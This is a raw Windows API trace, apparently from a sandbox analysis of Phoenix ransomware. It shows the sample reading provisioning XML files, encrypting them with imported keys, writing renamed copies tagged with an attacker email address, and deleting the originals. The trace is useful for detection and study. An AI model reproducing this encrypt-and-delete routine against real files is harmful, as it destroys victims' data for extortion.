	[0228.894] CloseHandle (hObject=0x2d8) returned 1
	[0228.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml")) returned 0x20
	[0228.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.894] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.894] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.894] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.894] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.896] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0228.896] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.896] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x732, lpOverlapped=0x0) returned 1
	[0228.897] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x740, dwBufLen=0x740 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x740) returned 1
	[0228.897] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x740, lpOverlapped=0x0) returned 1
	[0228.898] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0228.898] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.898] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0228.898] CryptDestroyKey (hKey=0x151500) returned 1
	[0228.898] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0228.898] CryptDestroyKey (hKey=0x151080) returned 1
	[0228.898] CloseHandle (hObject=0x2d8) returned 1
	[0228.898] CloseHandle (hObject=0x2c0) returned 1
	[0228.899] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml")) returned 1
	[0228.900] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0228.900] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.901] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=271) returned 1
	[0228.901] CloseHandle (hObject=0x2c0) returned 1
	[0228.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml")) returned 0x20
	[0228.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.901] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.901] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.901] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.901] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.902] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0228.902] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.902] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x10f, lpOverlapped=0x0) returned 1
	[0228.903] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0228.903] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0228.904] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0228.904] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.904] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0228.904] CryptDestroyKey (hKey=0x151640) returned 1
	[0228.904] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0228.909] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0228.909] CloseHandle (hObject=0x2c0) returned 1
	[0228.909] CloseHandle (hObject=0x2d8) returned 1
	[0228.910] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml")) returned 1
	[0228.910] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0228.910] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.911] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=460) returned 1
	[0228.911] CloseHandle (hObject=0x2d8) returned 1
	[0228.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml")) returned 0x20
	[0228.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.911] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.911] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.911] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.911] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.912] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1514c0) returned 1
	[0228.912] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.912] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1cc, lpOverlapped=0x0) returned 1
	[0228.949] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0228.949] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0228.955] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1512c0) returned 1
	[0228.955] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.955] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0228.955] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0228.955] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0228.956] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0228.956] CloseHandle (hObject=0x2d8) returned 1
	[0228.956] CloseHandle (hObject=0x2c0) returned 1
	[0228.956] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml")) returned 1
	[0228.958] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0228.958] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.958] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=271) returned 1
	[0228.958] CloseHandle (hObject=0x2c0) returned 1
	[0228.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml")) returned 0x20
	[0228.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.958] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.958] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.959] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.959] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.959] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0228.959] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.959] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x10f, lpOverlapped=0x0) returned 1
	[0228.960] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0228.960] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0228.961] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151240) returned 1
	[0228.961] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.961] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0228.961] CryptDestroyKey (hKey=0x151240) returned 1
	[0228.961] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0228.965] CryptDestroyKey (hKey=0x151640) returned 1
	[0228.965] CloseHandle (hObject=0x2c0) returned 1
	[0228.965] CloseHandle (hObject=0x2d8) returned 1
	[0228.966] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml")) returned 1
	[0228.967] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0228.967] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.967] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=251) returned 1
	[0228.967] CloseHandle (hObject=0x2d8) returned 1
	[0228.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml")) returned 0x20
	[0228.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.968] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.968] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.968] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.968] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.968] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0228.968] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.969] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xfb, lpOverlapped=0x0) returned 1
	[0228.970] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0228.970] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0228.971] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151740) returned 1
	[0228.971] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.971] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0228.971] CryptDestroyKey (hKey=0x151740) returned 1
	[0228.971] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0228.971] CryptDestroyKey (hKey=0x151040) returned 1
	[0228.971] CloseHandle (hObject=0x2d8) returned 1
	[0228.971] CloseHandle (hObject=0x2c0) returned 1
	[0228.972] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml")) returned 1
	[0228.973] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0228.973] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.973] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=25204) returned 1
	[0228.973] CloseHandle (hObject=0x2c0) returned 1
	[0228.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml")) returned 0x20
